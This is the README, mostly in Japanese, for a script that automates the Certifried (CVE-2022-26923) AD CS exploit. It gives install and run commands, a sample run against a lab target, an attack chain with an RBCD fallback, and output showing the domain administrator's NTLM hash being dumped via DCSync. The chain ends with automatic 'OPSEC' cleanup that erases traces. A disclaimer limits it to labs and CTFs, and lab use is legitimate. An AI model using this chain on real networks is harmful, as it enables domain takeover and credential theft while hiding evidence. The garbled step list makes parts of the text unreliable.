
Automated CVE-2022-26923 Exploitation (Certifried)
CVE-2022-26923(Certifried) の自動化された悪用。Active Directory 証明書サービス(AD CS)の悪用による権限昇格を可能にし、Resource-Based Constrained Delegation(RBCD)への自動フォールバックを備え、最終的にドメイン管理者アカウントの NTLM ハッシュをダンプします。
⚠️ 教育目的 / ラボ / CTF 専用
許可されていない環境では使用しないでください。
このスクリプトは、以下の攻撃チェーンを自動化します。
dNSHostName 属性をドメインコントローラに一致するように偽装secretsdump.py で DCSync 攻撃を実行bloodyAD で使用impacket-addspn を使用して侵害されたマシンアカウントに SPN を追加getST.py で S4U2Self + S4U2Proxy チケットを要求secretsdump.py で NTLM ハッシュをダンプdNSHostName 属性を操作してドメインコントローラを偽装し、CA が DC アカウントに証明書を発行することを可能にするpipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip ドメインコントローラの IP アドレス
-D, --domain ドメイン名(例: corp.local)
-u, --user 有効なドメインユーザー(UPN 形式: user@domain)
-p, --pass ユーザーパスワード
--verbose デバッグモード: 実行するすべてのコマンドを表示
-h, --help このヘルプメッセージを表示
./CVE-2022-26923.sh \
-d 10.129.227.189 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
ヒント: 実行前に、以下を使用して正確な CA 名とテンプレートを特定してください:
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdoutその後、スクリプトのデフォルト設定で
CA_NAMEとTEMPLATEを適宜更新してください。
環境に応じて、2 つのパスのいずれかが成功します。
方法 1(クラシック):
[5] Classic authentication attempt (Recovering DC hash)... [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...
[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::
方法 2(RBCD フォールバック):
[5] Classic authentication attempt (Recovering DC hash)... [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...
[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::
OPSEC クリーンアップは自動的に実行されます(終了時または Ctrl+C で):
[*] Starting trace cleanup (OPSEC)...
[OK] Cleanup complete.
Random Machine Account Creation (e.g. PWN8472$)
↓
dNSHostName Spoofing → dc.domain.local
↓
Dynamic LDAP Sync Verification (polling)
↓
Certificate Request via RPC (Machine Template)
[NETBIOS timeout auto-retry up to 5x]
↓
┌─────────────────────────────────────────┐
│ METHOD 1 — CLASSIC │
│ certipy-ad auth -pfx dc.pfx │
│ → DC NTLM hash via PKINIT │
│ → DCSync via secretsdump │
└────────────────┬────────────────────────┘
│ [FAILS]
▼
┌─────────────────────────────────────────┐
│ METHOD 2 — RBCD FALLBACK │
│ PFX → PEM conversion (openssl) │
│ bloodyAD: add rbcd dc$ COMP$ │
│ impacket-addspn: SPN on COMP$ │
│ getST: S4U2Self + S4U2Proxy (cifs/) │
│ secretsdump via KRB5 ticket │
└─────────────────────────────────────────┘
↓
OPSEC Cleanup (trap EXIT/INT/TERM)
- Remove RBCD attribute on DC
- Delete machine account (COMP$)
- Wipe local PFX / PEM / ccache files
このプロジェクトは以下を目的として提供されています。
作者は、このツールの無許可または違法な使用に対して一切の責任を負いません。
| ツール | 目的 |
|---|
certipy-ad | アカウント作成/更新、証明書要求、PKINIT 認証 |
bloodyAD | RBCD 属性操作(フォールバック) |
impacket-addspn | マシンアカウントへの SPN 追加(フォールバック) |
impacket-getST | S4U2Self + S4U2Proxy チケット要求(フォールバック) |
impacket-secretsdump | DCSync / NTLM ハッシュダンプ |
openssl | PFX → PEM 変換(フォールバック) |
| 症状 | 原因 | 修正 |
|---|
NETBIOS connection timed out | HTB 上の AD CS RPC の遅延 | 自動処理(5 回再試行) |
KDC_ERR_BADOPTION (getST 時) | COMP$ に SPN が不足 | スクリプトは getST 前に impacket-addspn を使用するようになりました |
KDC_ERR_WRONG_REALM (secretsdump 時) | 誤った SPN(LDAP と cifs) | スクリプトは getST に cifs/ SPN を使用 |
Clock skew too great | Kerberos 時刻のずれ | 実行前に sudo ntpdate <DC_IP> を実行 |
| マシンアカウントの削除に失敗 | 不十分な AD 権限(通常) | スクリプトは ` |
unrecognized arguments (certipy-ad 時) | 構文の誤り(古い certipy 形式) | スクリプトは明示的なフラグ -u/-p/-target-ip を使用 |